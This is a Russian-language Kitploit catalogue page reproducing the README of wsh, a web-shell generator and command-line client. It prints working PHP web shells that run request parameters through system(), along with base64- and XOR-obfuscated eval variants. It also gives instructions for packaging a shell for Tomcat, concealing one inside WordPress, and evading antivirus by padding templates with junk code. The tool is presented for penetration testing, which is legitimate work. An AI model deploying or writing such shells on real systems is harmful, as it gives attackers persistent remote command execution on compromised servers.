Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wsh — Генератор веб-шеллов и интерфейс командной строки. | Kitploit
Инструменты/GitHubGitHub/eatonchips/wsh
Генерация полезной нагрузкиЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubeatonchips/wsh

wsh

Генератор веб-шеллов и интерфейс командной строки.

Репозиторий
85205 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wsh

wsh (произносится ву́ш) — это генератор веб-шеллов и интерфейс командной строки. Всё началось с простого HTTP-клиента, потому что взаимодействие с веб-шеллами — это мука. Есть форма: чтобы отправить команду, нужно ввести её в поле ввода и нажать кнопку. Я хотел нечто, что лучше вписывается в мой рабочий процесс и работает в терминале. Так родился wsh.

Клиент поддерживает историю команд, ведение журнала и может быть настроен на взаимодействие с ранее развернутым стандартным веб-шеллом с формой/кнопкой. Генератор создаёт веб-шеллы на PHP, ASP и JSP. Они генерируются со случайными переменными, так что каждый будет иметь уникальный хеш. Их можно настроить с белым списком, паролями и разрешить отправку команд через пользовательские заголовки и параметры. Генератор и клиент могут быть настроены через флаги командной строки или файлы конфигурации, что позволяет сохранить настройки, работающие для вас, без того, что я называю «танцами с --help». После настройки клиент и генератор используют один и тот же конфигурационный файл.

Возможности

  • Взаимодействие с развернутыми веб-шеллами через командную строку
    • Ведение журнала
  • Генерация веб-шеллов на PHP, JSP и ASP
    • Белый список IP-адресов
    • Защита паролем
    • Отправка команд через пользовательские заголовки/параметры
    • Загрузка/скачивание файлов
    • Шеллы в кодировке Base64 для ASP и PHP
    • Шеллы с XOR-шифрованием для ASP и PHP

Использование

Подключение

root@kitploit:~
wsh <URL> [flags]

-X, --method string        HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
    --param string         Parameter for sending command
    --header string        Header for sending command
-P, --params strings       HTTP request parameters
-H, --headers strings      HTTP request headers
-c, --config string        Config file
-k, --ignore-ssl           Ignore invalid certs
    --log string           Log file
    --prefix string        Prepend command: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          Request timeout in seconds (default 10)
    --trim-prefix string   Trim output prefix
    --trim-suffix string   Trim output suffix
-h, --help                 help for wsh

Генерация

root@kitploit:~
wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string         Parameter for sending command
    --header string        Header for sending command
-w, --whitelist strings    IP addresses to whitelist
-o, --outfile string       Output file
    --no-file              Disable file upload/download capabilities
    --pass string          Password protect shell
    --pass-header string   Header for sending password
    --pass-param string    Parameter for sending password
    --xor-header string    Header for sending xor key
    --xor-key string       Key for xor encryption
    --xor-param string     Parameter for sending xor key
    --base64               Base64 encode shell
    --minify               Minify webshell code
-t, --template string      Webshell template file
-h, --help                 help for generate

Использование клиента / Файловый ввод-вывод

Я хотел, чтобы клиент был независимым от языка, поэтому все веб-шеллы должны были реализовать одинаковую логику загрузки/скачивания. К сожалению, выполнять multipart-загрузку нативно в JSP и классическом ASP проблематично, поэтому файлы загружаются в виде base64 в параметре. Это не идеально, так как максимальный размер загружаемого файла ограничен максимальным размером параметра. В будущем я, возможно, попробую реализовать multipart-загрузку или выполнять несколько запросов для передачи больших файлов.

root@kitploit:~
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  Download file
put <local filepath> [remote filepath]  Upload file
clear                                   Clear screen
exit                                    Exits shell

Примеры генерации

Простые шеллы

Следующие команды генерируют и взаимодействуют с простым PHP веб-шеллом.

root@kitploit:~
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd
root@kitploit:~
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

Команды также можно отправлять через HTTP-заголовки.

root@kitploit:~
$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

Белый список

root@kitploit:~
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

Защита паролем

Пароли могут передаваться через параметры или заголовки.

root@kitploit:~
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

Шифрование Base64 / XOR

Эта функциональность интересна, но может потребовать некоторой модификации шаблонов для полезного использования. В случае ASP и JSP библиотеки, облегчающие декодирование base64, являются известными IOC и будут помечены. Если вы заинтересованы в использовании этих функций, я рекомендую изменить шаблон и обфусцировать.

То же, что и с паролем: ключ XOR может передаваться через параметр или заголовок.

root@kitploit:~
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

Шеллы для Tomcat

Чтобы сгенерировать веб-шелл, который можно развернуть в Tomcat, создайте JSP-шелл с именем index.jsp и выполните команду ниже, чтобы упаковать его в war-файл.

Иногда в среде Tomcat отсутствуют библиотеки, необходимые для загрузки/скачивания файлов, и шелл будет выдавать ошибку при запросе. Чтобы исправить это, используйте флаг --no-file.

root@kitploit:~
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

Шаблоны

Использование библиотеки шаблонов Go добавляет много гибкости генератору. Иногда веб-шелл может быть обнаружен антивирусом, однако я обнаружил, что добавление большого количества случайного кода в файл шаблона часто делает шелл достаточно безобидным, чтобы позволить ему сохраниться на диске. Я включил пример в файл templates/covert-php.tml.

Кроме того, вы можете изменить эти шаблоны, чтобы включить ваше имя/контактную информацию для атрибуции в случае пентеста.

Функциональность клиента

Префикс

Можно указать префикс, чтобы добавлять строку к каждой команде, отправляемой в шелл. Это можно использовать для превращения обычной командной строки в шелл PowerShell.

root@kitploit:~
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020  11:49 PM                config
d-----        5/27/2020  11:49 PM                en
d-----        5/28/2020  12:25 AM                en-US
-a----        5/27/2020  11:49 PM         119808 appcmd.exe

Ведение журнала

Журналы содержат временные метки и информацию о хосте, с которым происходит взаимодействие. Файлы журналов дополняются, так что вы можете использовать один и тот же файл для нескольких сессий/хостов.

root@kitploit:~
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

Обрезка префикса/суффикса

Клиент можно настроить на обрезку лишнего HTML-содержимого из запроса; это полезно при взаимодействии со стандартными веб-шеллами с HTML-интерфейсом или если сгенерированный шелл скрытно встроен в установку WordPress.

root@kitploit:~
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
README.md
cmd
example-configs
index.php
main.go
templates
        </pre>
    </div>
. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates
Скачать инструмент